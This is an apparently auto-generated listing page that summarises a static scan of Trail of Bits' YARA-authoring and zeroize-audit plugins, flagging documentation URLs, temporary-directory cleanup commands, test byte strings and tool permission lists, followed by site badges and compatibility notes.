    [Credential-related source omitted]
  • Access to secretsline 426
    [Credential-related source omitted]

plugins/yara-authoring/skills/yara-rule-authoring/references/style-guide.md

  • Network accessline 91
    description = "Detects X malware via Y unique feature"     author = "Your Name <email@example.com>"  // OR "@twitter_handle"     reference = "https://analysis-report-url.com"
  • Network accessline 92
    author = "Your Name <email@example.com>"  // OR "@twitter_handle"     reference = "https://analysis-report-url.com"     date = "2025-01-29"
  • Network accessline 93
    reference = "https://analysis-report-url.com"

plugins/yara-authoring/skills/yara-rule-authoring/references/testing.md

  • Network accessline 119
    1. Upload your rule to [VirusTotal Intelligence](https://www.virustotal.com/gui/hunting)
  • Network accessline 156
    [YARA-CI](https://yara-ci.cloud.virustotal.com/) provides cloud-based validation:
  • Network accessline 169
    | Tool | Purpose | Access | |------|---------|--------| | **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) |
  • Network accessline 170
    |------|---------|--------| | **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) | | **YaraDbg** | Web-based rule debugger with step-thr
  • Network accessline 171
    | **YARA-CI** | GitHub App tests PRs against 1M NIST goodware files | Free, [github.com/apps/virustotal-yara-ci](https://github.com/apps/virustotal-yara-ci) |
  • Network accessline 172
    | **YaraDbg** | Web-based rule debugger with step-through execution | Free, [yaradbg.dev](https://yaradbg.dev) |
  • Network accessline 225
    The [NIST National Software Reference Library](https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl) provides hash sets of known-good files:
  • Network accessline 232
    # Download RDS (Reference Data Set) # Available at: https://www.nist.gov/itl/ssd/software-quality-group/nsrl-download-links
  • Network accessline 233
    # Available at: https://www.nist.gov/itl/ssd/software-quality-group/nsrl-download-links
  • Network accessline 347
    | Top 1000 npm packages | `npm search --searchlimit=1000` | Avoid FPs on popular dependencies | | Packages with postinstall scripts | Filter for `scripts.postinstall` in package.json | Common attack vector | | Known malicious packages | [np
  • Network accessline 348
    | Packages with postinstall scripts | Filter for `scripts.postinstall` in package.json | Common attack vector | | Known malicious packages | [npm-shai-hulud-scanner](https://github.com/nickytonline/npm-shai-hulud-scanner) list | Positive va
  • Network accessline 349
    | Known malicious packages | [npm-shai-hulud-scanner](https://github.com/nickytonline/npm-shai-hulud-scanner) list | Positive validation |

plugins/yara-authoring/skills/yara-rule-authoring/scripts/atom_analyzer.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]

plugins/yara-authoring/skills/yara-rule-authoring/scripts/review.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 23
    trap 'rm -rf -- "$work_dir"' EXIT

plugins/yara-authoring/skills/yara-rule-authoring/scripts/test_yara_rules.py

  • Executable scriptline 1
    Executable file
  • Network accessline 80
    description = "Detects a thing via a marker long enough to clear sixty characters easily"         author = "a@b.c"         reference = "https://example.com"
  • Network accessline 81
    author = "a@b.c"         reference = "https://example.com"         date = "2025-01-01"
  • Network accessline 82
    reference = "https://example.com"
  • Network accessline 248
    description = "Detects a thing via a marker long enough to clear sixty characters easily"         author = "a@b.c"         reference = "https://example.com"
  • Network accessline 249
    author = "a@b.c"         reference = "https://example.com"         date = "2025-01-01"
  • Network accessline 250
    reference = "https://example.com"
  • Possible obfuscationline 276
    assert runs[0].data == b"\x4d\x5a\x90\x00"
  • Possible obfuscationline 304
    assert runs[0].data == b"\x4d\x5a\x90\x00"
  • Possible obfuscationline 308
    _, null_score = find_best_atom(b"\x00\x00\x00\x00", [])
  • Possible obfuscationline 309
    _, unique_score = find_best_atom(b"\x4d\x5a\x91\x03", [])
  • Network accessline 407
    description = "Detects %s"         author = "a@b.c"         reference = "https://example.com"
  • Network accessline 408
    author = "a@b.c"         reference = "https://example.com"         date = "2025-01-01"
  • Network accessline 409
    reference = "https://example.com"
  • Network accessline 452
    description = "Detects a thing via a marker long enough to clear sixty characters easily"         author = "a@b.c"         reference = "https://example.com"
  • Network accessline 453
    author = "a@b.c"         reference = "https://example.com"         date = "2025-01-01"
  • Network accessline 454
    reference = "https://example.com"
  • Possible obfuscationline 479
    assert score_atom(b"\x01\x02\x00\x03") < score_atom(b"\x01\x02\x04\x03")
  • Possible obfuscationline 492
    assert score_atom(b"abcd") < score_atom(b"\x01\x02\x03\x04")

plugins/yara-authoring/skills/yara-rule-authoring/scripts/uv.lock

  • Network accessline 6
    name = "yara-x" version = "1.22.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 7
    version = "1.22.0" source = { registry = "https://pypi.org/simple" } wheels = [
  • Network accessline 8
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 9
    wheels = [     { url = "https://files.pythonhosted.org/packages/0f/bb/22b5cb8b57d60a258196ff46392be59f9261c7dd33a237960059de5c9d55/yara_x-1.22.0-cp39-abi3-macosx_14_0_arm64.whl", hash = "sha256:eb6d4812e73614643f3c10a2592692b544ca7db43eacb2
  • Network accessline 10
    { url = "https://files.pythonhosted.org/packages/0f/bb/22b5cb8b57d60a258196ff46392be59f9261c7dd33a237960059de5c9d55/yara_x-1.22.0-cp39-abi3-macosx_14_0_arm64.whl", hash = "sha256:eb6d4812e73614643f3c10a2592692b544ca7db43eacb2c8c649a1c965838
  • Network accessline 11
    { url = "https://files.pythonhosted.org/packages/69/19/0365004e652a44dfccaa2fc73916b6c8e5ac0e64bbae1c0dfc301c5bdd63/yara_x-1.22.0-cp39-abi3-macosx_14_0_x86_64.whl", hash = "sha256:1472591e7ec4a07be0e63383235fc2e8908b6d7d510b98d210068ffde30b
  • Network accessline 12
    { url = "https://files.pythonhosted.org/packages/bb/71/bfc58b9d8afbc2e25a1fd0ce72a69c48fc9cb554238cde33c89787d84ff2/yara_x-1.22.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:066e86533b7143ee96bb80e36b683eb25dad8bc4c064603802d3a8cb
  • Network accessline 13
    { url = "https://files.pythonhosted.org/packages/3b/ee/f8beabcc6ca804749c5dd91b943a81d75314ebb12ef471ad3eff7631c5f6/yara_x-1.22.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a9a9a4b213b980d6b05231ea5b835c03d40e304d99ed05d18ac5e7a80
  • Network accessline 14
    { url = "https://files.pythonhosted.org/packages/e8/3e/53b5ba3fd391e2977204d00a95f5696f32815be6495fb64283f5f0d741c4/yara_x-1.22.0-cp39-abi3-win_amd64.whl", hash = "sha256:a0e889ad5377634d1ce759c8823fe1784519733de44da683da02eb0a8771b1a9", si
  • Network accessline 15
    { url = "https://files.pythonhosted.org/packages/b2/5c/164081becb6210f68fed75da9c5777afbb34b0252ae2bfdfa5a6ee55fd6f/yara_x-1.22.0-pp311-pypy311_pp80-macosx_14_0_arm64.whl", hash = "sha256:d2b6ec0dee512c1b035b8b9ddd6b0fe5c78c9ec22e2ee237926e
  • Network accessline 16
    { url = "https://files.pythonhosted.org/packages/a8/5c/495d56a680de7618b8426b3c1732a41695febebb27d40be97823027a4cd7/yara_x-1.22.0-pp311-pypy311_pp80-macosx_14_0_x86_64.whl", hash = "sha256:89057972c4fec99e42761d264a74d84caaebe0dab99ec49dfe8
  • Network accessline 17
    { url = "https://files.pythonhosted.org/packages/d1/69/f18603efe4d75fa728182100db46a80feb507708893389819b83e1a26f6b/yara_x-1.22.0-pp311-pypy311_pp80-manylinux_2_28_aarch64.whl", hash = "sha256:f34301eaedfa467ab87da8d121916a666caa1c8f2a1d6fa
  • Network accessline 18
    { url = "https://files.pythonhosted.org/packages/26/d4/64132100947fc2d0fd1dbb631e08118667eab88a21017aac3f18bd92ca7f/yara_x-1.22.0-pp311-pypy311_pp80-manylinux_2_28_x86_64.whl", hash = "sha256:27ca2eba9b5922b6b0abf372b8ed0d06621b7df6c738b80b
  • Network accessline 19
    { url = "https://files.pythonhosted.org/packages/26/6a/8382111661394ace7692bac28ddb1f429f5fcebfc8789d02fa2d966091f3/yara_x-1.22.0-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:96fb99c4581eaf452bc0d38294b443946b833798e2fa126053d6cfd28786

plugins/yara-authoring/skills/yara-rule-authoring/scripts/yara_lint.py

  • Executable scriptline 1
    Executable file

plugins/yara-authoring/skills/yara-rule-authoring/scripts/yara_rules.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 634
    (b"\x00\x00\x00\x00", "null bytes (0x00000000)"),
  • Possible obfuscationline 635
    (b"\x90\x90\x90\x90", "NOP sled (0x90909090)"),
  • Possible obfuscationline 636
    (b"\xcc\xcc\xcc\xcc", "INT3 padding (0xCCCCCCCC)"),
  • Possible obfuscationline 637
    (b"\xff\xff\xff\xff", "all 0xFF bytes"),
  • Possible obfuscationline 638
    (b"\x20\x20\x20\x20", "spaces (0x20202020)"),

plugins/yara-authoring/skills/yara-rule-authoring/workflows/rule-development.md

  • Network accessline 345
    1. Upload rule to [VT Intelligence](https://www.virustotal.com/gui/hunting)
  • Network accessline 398
    - Based on samples from Jan 2025 campaign - Tested against VT goodware (0 matches) - Reference: https://example.com/analysis"
  • Network accessline 400
    - Reference: https://example.com/analysis"

plugins/zeroize-audit/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Trail of Bits",     "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"
  • Network accessline 7
    "email": "opensource@trailofbits.com",     "url": "https://github.com/trailofbits"   }
  • Network accessline 8
    "url": "https://github.com/trailofbits"

plugins/zeroize-audit/agents/3-tu-compiler-analyzer.md

  • Dangerous shell operationline 141
    rm -f {workdir}/compiler-analysis/{tu_hash}/<tu_hash>.*
  • Access to secretsline 171
    [Credential-related source omitted]

plugins/zeroize-audit/agents/5-poc-generator.md

  • Access to secretsline 262
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]

plugins/zeroize-audit/agents/5c-poc-verifier.md

  • Access to secretsline 161
    [Credential-related source omitted]

plugins/zeroize-audit/skills/zeroize-audit/SKILL.md

  • Broad permissionsline 1
    Read Grep Glob Bash Write Task AskUserQuestion mcp__serena__activate_project mcp__serena__find_symbol mcp__serena__find_referencing_symbols mcp__serena__get_symbols_overview

plugins/zeroize-audit/skills/zeroize-audit/assets/trail-of-bits-mark.svg

  • Network accessline 1
    <svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003

plugins/zeroize-audit/skills/zeroize-audit/prompts/report_template.md

  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]

plugins/zeroize-audit/skills/zeroize-audit/references/compile-commands.md

  • Dangerous shell operationline 143
    rm -rf /tmp/zeroize-audit/<tu_hash>.*

plugins/zeroize-audit/skills/zeroize-audit/references/ir-analysis.md

  • Dangerous shell operationline 49
    rm -f /tmp/zeroize-audit/<tu_hash>.*.ll
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 145
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Access to secretsline 242
    [Credential-related source omitted]
  • Access to secretsline 243
    [Credential-related source omitted]

plugins/zeroize-audit/skills/zeroize-audit/references/mcp-analysis.md

  • Network accessline 26
    **Prerequisites:** - `uvx` must be on PATH (installed with `uv` — see https://docs.astral.sh/uv/)
  • Network accessline 27
    - `uvx` must be on PATH (installed with `uv` — see https://docs.astral.sh/uv/)
  • Network accessline 28
    - Serena is fetched and run automatically via `uvx --from git+https://github.com/oraios/serena`

plugins/zeroize-audit/skills/zeroize-audit/schemas/input.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",

plugins/zeroize-audit/skills/zeroize-audit/schemas/output.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",

plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_asm.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_cfg.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_heap.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/analyze_ir_semantic.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/diff_ir.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 70
    trap 'rm -rf "$TMPDIR_BASE"' EXIT

plugins/zeroize-audit/skills/zeroize-audit/tools/diff_rust_mir.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 97
    trap 'rm -rf "$TMPDIR_BASE"' EXIT

plugins/zeroize-audit/skills/zeroize-audit/tools/emit_asm.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/emit_ir.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_asm.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 146
    rm -rf "$TARGET_DIR"

plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_ir.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 123
    rm -rf "$TARGET_DIR"

plugins/zeroize-audit/skills/zeroize-audit/tools/emit_rust_mir.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 128
    rm -rf "$TARGET_DIR"

plugins/zeroize-audit/skills/zeroize-audit/tools/extract_compile_flags.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/generate_poc.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/check_mcp.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_mir_patterns.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 37
    [Credential-related source omitted]

plugins/zeroize-audit/skills/zeroize-audit/tools/scripts/semantic_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/zeroize-audit/skills/zeroize-audit/tools/track_dataflow.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

plugins/zeroize-audit/skills/zeroize-audit/tools/validate_rust_toolchain.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 178
    rm -f "$cargo_err"

plugins/zeroize-audit/skills/zeroize-audit/workflows/phase-5-poc-validation.md

  • Access to secretsline 85
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 2 facts
Signal confidence: 498 facts

and 448 more

Only the first 500 facts are listed.

Works with

  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

trailofbits/skills: #183 on hotskills, 8.1k stars

[![trailofbits/skills on hotskills](https://hotskills.dev/badge/trailofbits-skills.svg)](https://hotskills.dev/skill/trailofbits-skills/)